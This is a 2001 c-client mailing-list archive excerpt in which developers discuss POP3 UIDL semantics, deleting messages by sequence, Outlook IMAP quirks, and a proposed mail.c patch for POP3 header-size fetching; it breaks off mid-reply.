f5JMkrH15596; Tue, 19 Jun 2001 15:46:53 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMk7078102 for ; Tue, 19 Jun 2001 15:46:08 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMk2K05767 for ; Tue, 19 Jun 2001 15:46:02 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMk1u10621 for ; Tue, 19 Jun 2001 15:46:02 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id PAA11765 for ; Tue, 19 Jun 2001 15:45:55 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A70.007D8A67 ; Tue, 19 Jun 2001 15:51:14 -0700 Message-Id: <88256A70.007D89C1.00@notes.centigram.com> Date: Tue, 19 Jun 2001 15:50:20 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: UIDL Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, I understand that in pop3 each message has unique identification UIDL which persists across sessions. What is the use of UIDL ? can this UIDL be used to fetch/change status of messages ? What I mean is can this number be used in place of message number to make modifications to the message in the mailbox ? Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 19 16:03:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 16:03:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JN3ED07427 for ; Tue, 19 Jun 2001 16:03:15 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 16:03:13 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JN3CC01764; Tue, 19 Jun 2001 16:03:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JN33E29636; Tue, 19 Jun 2001 16:03:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMqs0118970 for ; Tue, 19 Jun 2001 15:52:55 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMqss04543 for ; Tue, 19 Jun 2001 15:52:54 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMqsC01390 for ; Tue, 19 Jun 2001 15:52:54 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMqro10941; Tue, 19 Jun 2001 15:52:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (martell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMqrC08454; Tue, 19 Jun 2001 15:52:53 -0700 Message-Id: Date: Tue, 19 Jun 2001 15:50:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU Subject: re: UIDL In-Reply-To: <88256A70.007D89C1.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 19 Jun 2001 15:50:20 -0700, manjula_hullatti@adc.com wrote: > I understand that in pop3 each message has unique identification UIDL > which persists across sessions. What is the use of UIDL ? UIDL gives you the mapping between unique identifiers and message numbers in that session. You can use this map to locate unique identifiers that you recorded in an earlier session, and get the current POP3 message number. > can this UIDL > be used to fetch/change status of messages ? No. You must use the message number to fetch messages. There is no such thing as "status of a message" in POP3. > What I mean is can this > number be used in place of message number to make modifications to > the message in the mailbox ? No. There is no such capability in POP3. You should use IMAP instead of POP3. From pinedev@shivax2.cac.washington.edu Wed Jun 20 04:31:00 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 04:30:59 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KB6QD20072 for ; Wed, 20 Jun 2001 04:06:52 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 03:32:07 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KAW5u27432; Wed, 20 Jun 2001 03:32:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KAVsp21884; Wed, 20 Jun 2001 03:31:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KAT0098708 for ; Wed, 20 Jun 2001 03:29:00 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KAT0F31394 for ; Wed, 20 Jun 2001 03:29:00 -0700 Received: from btclick.com (mta01.btfusion.com [62.172.195.11]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KAStu27325 for ; Wed, 20 Jun 2001 03:28:59 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.233]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GF853Y01.GS9 for ; Wed, 20 Jun 2001 11:28:46 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id MAA07455 for ; Wed, 20 Jun 2001 12:15:34 +0100 Message-Id: <3B307C35.DF3DBD6C@acris.co.uk> Date: Wed, 20 Jun 2001 11:34:30 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Julian Hall To: c-client@cac.washington.edu Subject: Re: UIDL References: <88256A70.007D89C1.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just to clarify this: the only real purpose of UIDL in POP3 is to allow you to easily tell which messages in the mailbox you have already seen (by recording a local copy of the id of each message you have seen). This allows you to write a mail client that leaves its mail in the POP3 folder and doesn't get duplicated mail in the inbox. UIDL is an optional feature of POP3 so not all servers have to support it. For servers that do not support UIDL there are various other extensions that provide for leaving messages on the server; some servers have a 'LAST' command that retrieves the ID of the last message that was seen (you can generally assume that if a server has such a command, the messages are kept in order of arrival in the mailbox). Another alternative is to use the 'TOP' command to retrieve the headers and compare the message-id fields (although this is a particularly unreliable method). manjula_hullatti@adc.com wrote: > Hi Mark, > > I understand that in pop3 each message has unique identification UIDL > which persists across sessions. What is the use of UIDL ? can this UIDL > be used to fetch/change status of messages ? What I mean is can this > number be used in place of message number to make modifications to > the message in the mailbox ? > > Thanks, > Manjula > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 20 08:44:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 08:44:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KFipD29964 for ; Wed, 20 Jun 2001 08:44:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 08:44:50 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KFigu03382; Wed, 20 Jun 2001 08:44:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KFiXH18542; Wed, 20 Jun 2001 08:44:33 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KFgP092820 for ; Wed, 20 Jun 2001 08:42:25 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KFgOF13125 for ; Wed, 20 Jun 2001 08:42:24 -0700 Received: from gi2.genroco.com (IDENT:root@gi2.genroco.com [192.133.120.3]) by gifw.genroco.com (8.9.3/8.9.3) with ESMTP id JAA22269; Wed, 20 Jun 2001 09:42:10 -0500 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gi2.genroco.com (8.9.3/8.9.3) with SMTP id KAA09390; Wed, 20 Jun 2001 10:42:04 -0500 Message-Id: <001f01c0f99f$915113e0$7d7885c0@genroco.com> Date: Wed, 20 Jun 2001 10:42:07 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: "Herr Doktor C. Lesser" Cc: Subject: Re: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: "Herr Doktor C. Lesser" > But I chose to blame Outlook 2000. It's a wonderful email client, but it > has a disastrous IMAP implementation. > > Eg. to delete a message, you have to first download it! That means if you > shift-select a page of messages that you want to delete, you have to wait > for them all the download first. (shudder). > > Infact, almost anything you do inside an IMAP folder causes Outlook to pause > and download messages. > If you have the preview pane open while selecting messages for deletion, Outlook will download the selected message(s) (it will usually download the first & last message(s) selected while holding the shift key, and every message while pressing the ctrl key). Try turning off the preview pane, when selecting messages for deletion. Scot From pinedev@shivax2.cac.washington.edu Wed Jun 20 09:25:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 09:25:53 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KGPoD31941 for ; Wed, 20 Jun 2001 09:25:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 09:25:49 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KGPlu04919; Wed, 20 Jun 2001 09:25:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KGPeX31288; Wed, 20 Jun 2001 09:25:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KGOm0109876 for ; Wed, 20 Jun 2001 09:24:49 -0700 Received: from plan69.com (root@plan69.com [216.218.248.79]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KGOms02057 for ; Wed, 20 Jun 2001 09:24:48 -0700 Received: from gigahz (CPE-203-45-50-143.vic.bigpond.net.au [203.45.50.143]) by plan69.com (8.11.4/3.13.01) with SMTP id f5KGOUO28870; Wed, 20 Jun 2001 09:24:31 -0700 (PDT) Message-Id: Date: Thu, 21 Jun 2001 02:24:36 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Herr Doktor C. Lesser" To: "Scot W. Hetzel" Cc: "C-Client@U. Washington. Edu" Subject: RE: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? In-Reply-To: <001f01c0f99f$915113e0$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Nope, not Outlook 2000 unfortunately. Already tried all that, and more. Thanks anyway! -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Scot W. Hetzel Sent: Thursday, 21 June 2001 1:42 AM To: Herr Doktor C. Lesser Cc: c-client@u.washington.edu Subject: Re: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? From: "Herr Doktor C. Lesser" > But I chose to blame Outlook 2000. It's a wonderful email client, but it > has a disastrous IMAP implementation. > > Eg. to delete a message, you have to first download it! That means if you > shift-select a page of messages that you want to delete, you have to wait > for them all the download first. (shudder). > > Infact, almost anything you do inside an IMAP folder causes Outlook to pause > and download messages. > If you have the preview pane open while selecting messages for deletion, Outlook will download the selected message(s) (it will usually download the first & last message(s) selected while holding the shift key, and every message while pressing the ctrl key). Try turning off the preview pane, when selecting messages for deletion. Scot From pinedev@shivax2.cac.washington.edu Wed Jun 20 11:37:04 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 11:37:03 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KIb1D27409 for ; Wed, 20 Jun 2001 11:37:01 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 11:37:00 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KIawC00771; Wed, 20 Jun 2001 11:36:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KIaoX04398; Wed, 20 Jun 2001 11:36:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KIZo0110914 for ; Wed, 20 Jun 2001 11:35:50 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KIZns10443 for ; Wed, 20 Jun 2001 11:35:49 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f5KIZmv39630 for ; Wed, 20 Jun 2001 20:35:48 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f5KIZlP00156 for ; Wed, 20 Jun 2001 20:35:47 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id UAA03040 ; Wed, 20 Jun 2001 20:35:47 +0200 Message-Id: <200106201835.UAA03040@seth.lpthe.jussieu.fr> Date: Wed, 20 Jun 2001 20:35:42 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: pop3 patch to cclient In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [replying to the list] On Wed, 20 Jun 2001 09:40:40 -0700 (PDT) Mark Crispin wrote: MC> This message may be bad news for you, or at least make you unhappy. Please be MC> patient reading all this, since at the end there's a glimmer of hope. Thanks for the detailed reply - and the glimmer of hope, of course! :-) MC> Unfortunately, the LIST command in most POP3 servers sends the message size in MC> UNIX (LF newline) format. Ah, I didn't know/think about this. Thanks for explaining this! I really can agree much more easily when I understand what I am agreeing with :-) MC> Also, prior to the CAPA command there was no way of knowing whether or not the MC> server supported TOP. Presumably, a server which supports CAPA and TOP uses MC> the good definition of TOP, but many POP3 servers don't support CAPA. This is something I did think of. I believe that the approach of the pop3 code in imap2001 is the best one can do (use CAPA if available, assume it supports TOP and UIDL otherwise). There are not many servers still used which don't support TOP and using TOP with them is not a fatal error anyhow - it is just not efficient, but being slightly less efficient with 0.1% of servers that don't support TOP at the cost of being vastly more efficient with the rest of them seems a reasonable choice. MC> I don't know how to solve this problem. If you do, by all means, share your MC> solution with me. I surely don't as I've never thought about this LF/CR LF issue. Right now I can only think about assuming that the server is broken and retrieve the first message entirely, then compute its size locally (and correctly) and compare with LIST output. If they match I think it should be safe to assume that the server is ok and so we can use LIST for all the other messages. It doesn't seem neither elegant nor simple nor even efficient (as you'd probably want to do it only once and not each time you connect to the server) and so I think your solution with flags is much better. MC> This isn't to say that you shouldn't develop your patch and distribute it MC> yourself. I encourage third parties to develop/distribute/support patches MC> that, for various reasons, can't be in the official distribution. The reason I proposed my patch was that we were using a patch by someone else before which was just setting elt->rfc822_size to 1 in pop3_header which was really stupid - it doesn't cost that much to write 3 extra lines of code to send a LIST! So I'll probably indeed make it available somewhere/somehow as I think my patch is better. MC> If you do distribute a patch, you should have a documentation file outlining MC> these issues. Ok, thanks again for explaining them! MC> I would consider the use of new FT_xxx flags to say "alright to use POP3 MC> LIST" and "alright to use POP3 TOP", which could be passed to MC> pop3_fetchfast() and pop3_header(). In other words, the code would have MC> both methods, but only applications which indicate that they're willing to MC> take the risk will do the dangerous ones. Sorry, I thought mail_fetch_fast() was deprecated in favour of mail_fetch_structure() - isn't it? So shouldn't the latter accept this flag as well? Then my current patch to it --- imap-2000b/src/c-client/mail.c Thu Jan 4 11:04:19 2001 +++ M/extra/src/c-client/mail.c Tue Jun 19 15:26:34 2001 @@ -1198,5 +1199,11 @@ hdr = (char *) memcpy (fs_get ((size_t) hdrsize+1),s,(size_t) hdrsize); hdr[hdrsize] = '\0'; /* tie off header */ + + /*** MAHOGANY PATCH ***/ + /* don't retrieve the entire body to just get the size of the header for + POP3 driver, this is *awfully* inefficient */ + if (body || !elt->rfc822_size) (*stream->dtb->text) (stream,msgno,&bs,(flags & ~FT_INTERNAL) | FT_PEEK); + /*** END OF MAHOGANY PATCH ***/ if (!elt->rfc822_size) elt->rfc822_size = hdrsize + SIZE (&bs); if (body) /* only parse body if requested */ could be applied as is as pop3_header() would only fill rfc822_size if flags contained FT_POP3_TOP_OK (or whatever). OTOH, maybe it would be better to have a parameter instead of a flag? It would allow existing programs use the TOP more easily just by setting this parameter to TRUE. Then instead of testing the flags the code would just test something like pop3_parameters(GET_POP3USETOP, NULL) && LOCAL->cap.top. What do you think? MC> If you decide to send me a suggested patch which goes this route, it is MC> probably too late for it to get into imap-2001, but it can be in an update MC> release (e.g. imap-2001a). I'll try to do it. What is the dead line for 2001a? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 20 14:39:04 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 14:39:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KLd2D02019 for ; Wed, 20 Jun 2001 14:39:03 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 14:39:01 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KLcxC07903; Wed, 20 Jun 2001 14:38:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KLcop21980; Wed, 20 Jun 2001 14:38:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KLbh0101624 for ; Wed, 20 Jun 2001 14:37:43 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KLbdF25393 for ; Wed, 20 Jun 2001 14:37:39 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KLbdu17674 for ; Wed, 20 Jun 2001 14:37:39 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id OAA12343 for ; Wed, 20 Jun 2001 14:37:33 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A71.00774B15 ; Wed, 20 Jun 2001 14:43:00 -0700 Message-Id: <88256A71.00774947.00@notes.centigram.com> Date: Wed, 20 Jun 2001 14:42:01 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: Message sequence for deletion in POP3 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, Can I send the message sequence for marking it for deletion in case of POP3 ? I tried sending a sequence instead of single message number to mail_flag(..). I got the following error message. sequence = 1,2,3 [ccLog] ?Sequence invalid [ccLog] No messages deleted, so no update needed Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 20 15:41:52 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jun 2001 15:41:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KMfpD13605 for ; Wed, 20 Jun 2001 15:41:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 20 15:41:50 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KMfmu19959; Wed, 20 Jun 2001 15:41:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5KMfgX11056; Wed, 20 Jun 2001 15:41:42 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KMea038190 for ; Wed, 20 Jun 2001 15:40:36 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KMeaK21967 for ; Wed, 20 Jun 2001 15:40:36 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (metka@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5KMeau19902 for ; Wed, 20 Jun 2001 15:40:36 -0700 Message-Id: Date: Wed, 20 Jun 2001 15:39:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU Subject: re: Message sequence for deletion in POP3 In-Reply-To: <88256A71.00774947.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You will get "Sequence invalid" if you give a sequence number of zero or greater than the number of messages in the mailbox. From pinedev@shivax2.cac.washington.edu Thu Jun 21 00:33:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jun 2001 00:33:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5L7XHD03931 for ; Thu, 21 Jun 2001 00:33:18 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 21 00:33:16 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5L7XEC22834; Thu, 21 Jun 2001 00:33:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5L7X6E10324; Thu, 21 Jun 2001 00:33:06 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5L7UQ032440 for ; Thu, 21 Jun 2001 00:30:26 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5L7UQX14280 for ; Thu, 21 Jun 2001 00:30:26 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5L7UP103764; Thu, 21 Jun 2001 00:30:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bqt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5L7UPi05380; Thu, 21 Jun 2001 00:30:25 -0700 Message-Id: Date: Wed, 20 Jun 2001 23:51:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: pop3 patch to cclient In-Reply-To: <200106201835.UAA03040@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Jun 2001 20:35:42 +0200 (CET), Vadim Zeitlin wrote: > I surely don't as I've never thought about this LF/CR LF issue. Right now I > can only think about assuming that the server is broken and retrieve the > first message entirely, then compute its size locally (and correctly) and > compare with LIST output. If they match I think it should be safe to assume > that the server is ok and so we can use LIST for all the other messages. In *theory* that 